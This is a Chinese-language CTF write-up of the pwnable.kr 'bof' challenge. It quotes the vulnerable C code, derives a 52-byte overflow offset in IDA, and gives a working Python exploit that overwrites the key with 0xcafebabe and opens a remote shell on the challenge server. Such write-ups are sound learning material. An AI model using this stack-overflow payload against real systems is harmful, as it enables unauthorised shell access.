最近也开始学习pwn了。。。网站平台是http://pwnable.kr/play.php
网址是http://pwnable.kr/play.php
第三题,代码如下
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
显然是要覆盖。。。
下载了他的文件,然后IDA打开,
arg_0的参数是8字节,按照图一里,就是0x2C+8=44+8=52
所以需要覆盖52位
然后写python代码,这里要感谢giantbranch大大,我是按照他的博客,一步步开始学习,他的博客是https://blog.csdn.net/u012763794/article/details/51992512
我也自己做了点测试。
代码如下
# -*-coding:utf8 -*- import socket import telnetlib import struct # 将32位的整数转化为字符串(小端模式) def p32(val): # <:小端模式 L:unsigned long return struct.pack("<L", val) def pwn(): ''' ####cmp [ebp+arg_0], 0CAFEBABEh ####这里 ebp是44,args_0是8,所以地址是52 char s; // [sp+1Ch] [bp-2Ch]@1 overflowme的基址为ebp-0x2c,即44个字节,再加上 ebp 和 返回地址 的8个字节就是52个字节,最后的4个字节覆盖就可以了 ''' # 创建一个TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接服务器的9000端口(接收的参数是一个元组) s.connect(("pwnable.kr", 9000)) # 目标被填充的地址 target_addr = p32(0xcafebabe) #本来的bp地址是 44+4(bp)+4(返回地址)==52 ### 所以需要先覆盖52位,没有了返回 ###我试着改为56,然后溢出了,溢出保护,导致终止了 ###小于52,则没有覆盖 # 构造payload,52长度 payload = '1' * 52 + target_addr print payload # 向服务器发送数据 s.sendall(payload + '\n') # 创建一个telnet来产生一个控制服务器的shell t = telnetlib.Telnet() t.sock = s t.interact() pwn()
pycharm里开始运行,然后就可以发现建立了shell
输入ls